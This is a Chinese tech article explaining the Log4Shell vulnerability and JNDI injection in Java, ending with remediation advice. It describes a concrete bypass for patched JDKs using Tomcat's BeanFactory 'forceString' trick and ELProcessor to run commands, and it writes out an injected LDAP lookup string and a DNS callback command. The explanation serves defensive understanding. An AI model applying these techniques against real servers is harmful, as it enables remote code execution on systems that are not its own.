当前位置: 首页 > 科技观察

Log4Shell和JNDI注入的基本常识和当前进展

时间:2023-03-12 00:13:49 科技观察

最近爆发的Log4j2安全远程漏洞,又名“Log4Shell”,让整个互联网都陷入了威胁之中。大量的企业和Java项目都在紧锣密鼓地升级更新补丁。有许多安全研究人员正在研究复制、利用和预防方法。今天我们就来说说相关的常识和进展。Log4Shell漏洞(官方编号CVE-2021-44228)归结为一个非常简单的JNDI注入漏洞。在扩展占位符时记录消息(或间接作为格式化消息的参数)时,Log4J执行JNDIlookup()操作。在默认配置中,JNDI支持两种协议:RMI和LDAP。在这两种情况下,对lookup()的调用实际上都返回一个Java对象。这通常是一个序列化的Java对象,但也有通过间接构造的JNDI引用。该对象和引用的字节码可以通过远程URL(javaclass.class)加载。关于JNDI和JNDI注入JNDI,全称JavaNamingandDirectoryInterface(Java命名和目录接口),是Java中引入的一种JavaAPI,它允许客户端通过名称发现来查找和共享Java数据和对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI)、通用对象请求代理架构(CORBA)、轻量级目录访问协议(LDAP)或域名服务(DNS)等。换句话说,JNDI是一个简单的JavaAPI,例如:InitialContext.lookup(Stringname),它只接受一个字符串参数,如果该参数来自不可信来源,则可能存在远程代码加载和执行。当请求对象的名称被攻击者控制时,就有可能将有问题的Java应用程序指向恶意的rmi/ldap/corba服务器并以任意对象进行响应。如果该对象是“javax.naming.Reference”类的一个实例,JNDI客户端将尝试解析该对象的“classFactory”和“classFactoryLocation”属性。如果目标Java应用程序不知道“classFactory”值,Java将使用JavaURLClassLoader从“classFactoryLocation”位置获取工厂字节码。由于其简单性,即使“InitialContext.lookup”方法没有直接暴露给受污染的数据,它对于利用Java漏洞也非常有用。在某些情况下,它仍然可以通过反序列化或不安全的反射攻击来访问。一个易受攻击的应用程序示例如下:在Java8u191之前,JNDI注入请求“/lookup/?name=ldap://127.0.0.1:1389/Object”的链接。地址,并触发远程类加载。一个恶意RMI实例服务的例子如下:由于目标服务器不知道“ExploitObject”,它的字节码将从_attacke_指定的服务加载并执行,触发RCE远程执行。这种方法在Java8u121中可以很好地工作。在Java8u191更新中,Oracle对LDAP进行了限制,并发布了CVE-2018-3149补丁来禁用JNDI远程类加载。然而,仍然可以通过JNDI注入触发不可信数据的反序列化,但其利用高度依赖于现有的小工具。在Java8u191+中使用JNDI注入从Java8u191开始,当JNDI客户端接收到Reference对象时,无论是在RMI还是LDAP中,都不会使用其“classFactoryLocation”值。但是,仍然可以在“javaFactory”属性中指定任意工厂类。此类将用于从攻击者控制的“javax.naming.Reference”中提取真实对象。它应该存在于目标类路径中,实现“javax.naming.spi.ObjectFactory”并且至少有一个“getObjectInstance”方法:主要思想是在目标类路径中找到一个工厂,它对引用的属性做了一些危险的事情。例如,ApacheTomcat服务器中的“org.apache.naming.factory.BeanFactory”类包含使用反射创建bean的逻辑:“BeanFactory”类创建任何bean的实例并为所有属性调用其setter。目标bean的类名、属性和属性值都来自攻击者控制的Reference对象。目标类应该有一个公共的无参数构造函数和一个只有一个“字符串”参数的公共设置器。事实上,这些setter不一定以“set..”开头,因为“BeanFactory”包含一些逻辑,可以将任意setter名称分配给任何参数。这里使用的魔法属性是“forceString”。例如,通过将其设置为“x=eval”,我们可以对名为“eval”而不是“setX”的属性“x”进行方法调用。因此,通过使用“BeanFactory”类,我们可以使用默认构造函数创建任何类的实例,并使用一个“String”参数调用任何公共方法。此处可能有用的类之一是“javax.el.E??LProcessor”。在它的“eval”方法中,可以指定一个字符串来表示要执行的Java表达式语言模板。评估时执行任意命令的恶意表达式:编写一个示例RMI服务器,该服务器以精心设计的“ResourceRef”对象进行响应:该服务以“org.apache.naming.ResourceRef”的序列化对象进行响应,它包含精心设计的属性以触发客户端所需的行为。然后在受害Java进程上触发JNDI解析:反序列化此对象时不会发生任何意外情况。但由于它仍然扩展了“javax.naming.Reference”,“org.apache.naming.factory.BeanFactory”工厂将在受害者端使用以从引用中获取“真实”对象。在此阶段,通过模板评估触发远程代码执行并执行“nslookupjndi.s.xxx”命令。这里唯一的限制是目标Java应用程序的类路径应该有一个来自ApacheTomcat服务器的“org.apache.naming.factory.BeanFactory”类,但其他应用程序服务器可能有自己的对象工厂来实现类似Function的东西。总结实际问题不在JDK或ApacheTomcat=中,而是在自定义应用程序中,由于用户将不可控的数据传递给“InitialContext.lookup()”函数。即使使用最新漏洞的完全修补的JDK,它也会带来潜在的安全风险。在许多情况下,“反序列化不受信任的数据”等其他漏洞也可能导致JNDI解析。通过使用源代码审查来防止这些漏洞始终是一个好主意。长期以来,对RMI和LDAP的引用没有任何限制。对攻击者指定的JNDIRMI或LDA名称的查找调用将导致直接远程代码执行。从Java8u121开始,RMI协议(但不是LDAP)默认不再允许远程代码存储库。LDAP之前有一个补丁(CVE-2009-1094),但是对于引用对象完全无效。因此,LDAP仍然允许直接执行远程代码。直到Java8u191的CVE-2018-3149漏洞补丁才解决。在Java8u191之前,存在从受控JNDI查找远程类加载中执行任意代码的风险。但在新版本中,RMI引用和工厂构造对象并没有被移除,但是远程代码库被禁止了。远程代码执行可以通过ApacheXBeanBeanFactory返回的引用来实现。只要该类在目标系统上本地可用,例如包含在Tomcat或WebSphere中,它仍然可以被利用。此外,RMI本质上是基于Java序列化的,而LDAP支持一个特殊的对象类,它从lookup()返回的目录中反序列化Java对象。在这两种情况下,除非应用全局反序列化过滤器,否则JNDI注入将导致反序列化不受信任的攻击者提供的数据。虽然存在一定的攻击复杂性,但在许多情况下它仍可用于远程代码执行。总之,不要依赖当前的Java版本来解决这个问题,需要及时更新Log4j(或者删除JNDIlookup),或者禁用JNDI扩展才是彻底的解决方案(可能不太现实)。